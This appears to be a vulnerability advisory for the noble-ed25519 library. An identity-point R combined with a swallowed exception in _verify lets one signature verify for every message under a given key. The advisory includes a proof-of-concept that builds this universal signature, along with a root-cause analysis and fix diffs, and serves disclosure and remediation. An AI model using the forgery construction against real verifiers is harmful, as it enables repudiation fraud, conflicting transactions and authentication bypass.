Back to Cases
HighCWE-347

Identity Point R Causes Universal Signature Forgery in Ed25519

noble-ed255192026-02-23CWE-347High

CVSS v4.0

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N Score: 8.5 (High)

Justification:

  • AV:N — The forged signature can be presented and verified over the network.
  • AC:L — The attack is computationally trivial once the private key is known.
  • AT:N — No special preconditions beyond having a registered keypair.
  • PR:L — The attacker must be a recognized signer in the system (their public key must be trusted/registered).
  • UI:N — No user interaction required for the verification side.
  • VC:N/VI:H/VA:N — The vulnerability completely breaks signature integrity (universal forgery), with no confidentiality or availability impact on the vulnerable system.
  • SC:N/SI:H/SA:N — Downstream systems relying on Ed25519 signature verification (blockchains, authentication, PKI) suffer high integrity impact.

CWE

CWE-347: Improper Verification of Cryptographic Signature

Affected Files

  • index.ts:524-530_verify try-catch block
  • index.js:494-501_verify try-catch block

Description

When the R component of an Ed25519 signature decodes to the identity (neutral) point (0, 1), the _verify function's hash computation silently produces an incorrect result, causing a single signature to verify for all messages under the same public key.

The root cause is the interaction between toBytes() and the try-catch block in _verify. On line 529, the hash is computed as:

hashable = concatBytes(R.toBytes(), A.toBytes(), msg);

toBytes() calls assertValidity(), which rejects the identity point:

assertValidity(): this {
    if (p.is0()) return err('bad point: ZERO');
    ...
}

This throws an exception. However, the assignment to SB on line 528 has already succeeded, so when the try-catch catches this exception:

try {
    A = Point.fromBytes(pub, zip215);       // succeeds
    R = Point.fromBytes(sig.slice(0, L), zip215);  // succeeds (identity is valid)
    s = bytesToNumLE(sig.slice(L, L2));     // succeeds
    SB = G.multiply(s, false);              // succeeds <- SB assigned here
    hashable = concatBytes(R.toBytes(), ...); // THROWS <- identity rejected by toBytes
} catch (error) {}  // exception swallowed

After the catch:

  • SB is defined (not null)
  • hashable is still Uint8Array.of() (the empty default from line 523)
  • finish() does NOT short-circuit because SB != null (line 533)
  • The hash k is computed as SHA-512(empty) — a fixed constant independent of R, A, or msg
  • Verification proceeds with this wrong k

Because k is independent of the message, the same signature (identity_R, S) will pass verification for every possible message under the same public key A.

Reproduction Steps

  1. Compute the fixed hash challenge:
import { etc, hashes, verify, Point } from '@noble/ed25519';
const { hexToBytes, bytesToHex } = etc;

// k0 = SHA-512(empty) mod N
// SHA-512(empty) = cf83e1357eefb8bd...
const emptyHash = await crypto.subtle.digest('SHA-512', new Uint8Array());
const k0 = modL_LE(new Uint8Array(emptyHash));
  1. Construct the universal signature:
// Attacker knows private key a, public key A = aG
const a = /* private scalar */;
const S = (k0 * a) % N;  // S = k0 * a mod N

// Identity point encoding: y=1, x=0, sign bit = 0
const identityR = new Uint8Array(32);
identityR[0] = 1; // LE encoding of y=1

const sig = concatBytes(identityR, numTo32bLE(S));
  1. Verify against ANY message:
const msg1 = new TextEncoder().encode("Transfer 100 BTC to Alice");
const msg2 = new TextEncoder().encode("Transfer 100 BTC to Bob");
const msg3 = new TextEncoder().encode("I never signed anything");

// All three return true with the SAME signature
console.log(await verifyAsync(sig, msg1, pubKey)); // true
console.log(await verifyAsync(sig, msg2, pubKey)); // true
console.log(await verifyAsync(sig, msg3, pubKey)); // true
  1. Verify the mechanism:
// The identity point decodes successfully
const R = Point.fromBytes(identityR, true);
console.log(R.is0()); // true — it IS the identity

// But toBytes() rejects it
try { R.toBytes(); } catch(e) { console.log(e.message); } // "bad point: ZERO"

Impact

  • Non-repudiation break: A malicious signer can create a single "universal" signature that verifies for any message under their public key. They can then present this same signature as proof of having signed different, even contradictory messages. Conversely, they can plausibly deny signing any specific message since "the same signature works for everything."

  • Double-spend in blockchain: A malicious validator or signer could submit the same signature to authorize conflicting transactions, since the verification oracle treats it as valid for any message.

  • Authentication bypass: In systems using Ed25519 for authentication tokens or challenges, a compromised signer could produce one signature that authenticates any challenge, effectively creating a master token.

  • Affects both ZIP215 and strict modes: The identity point (0, 1) is decodable in both modes — y=1 is within [0, P) and the sign bit is 0.

Root Cause Analysis

This vulnerability arises from two design decisions interacting:

  1. toBytes() rejects the identity pointassertValidity() treats the identity as invalid, which is correct for serialization but causes an exception during hash computation in verification.

  2. The try-catch silently catches the exception — The catch block on line 530 is empty, and the only guard against continuing with partial state is the SB == null check on line 533. But SB was assigned before the throw.

  3. hashable defaults to empty — Line 523 initializes hashable to Uint8Array.of(), so if the try-catch catches before hashable is assigned, the hash is computed over empty input.

Suggested Fix

Replace the hash computation to use original input bytes:

  try {
    A = Point.fromBytes(pub, zip215);
    R = Point.fromBytes(sig.slice(0, L), zip215);
    s = bytesToNumLE(sig.slice(L, L2));
    SB = G.multiply(s, false);
-   hashable = concatBytes(R.toBytes(), A.toBytes(), msg);
+   hashable = concatBytes(sig.slice(0, L), pub, msg);
  } catch (error) {}

Alternatively, move the SB assignment after the hashable assignment:

  try {
    A = Point.fromBytes(pub, zip215);
    R = Point.fromBytes(sig.slice(0, L), zip215);
    s = bytesToNumLE(sig.slice(L, L2));
-   SB = G.multiply(s, false);
    hashable = concatBytes(R.toBytes(), A.toBytes(), msg);
+   SB = G.multiply(s, false);
  } catch (error) {}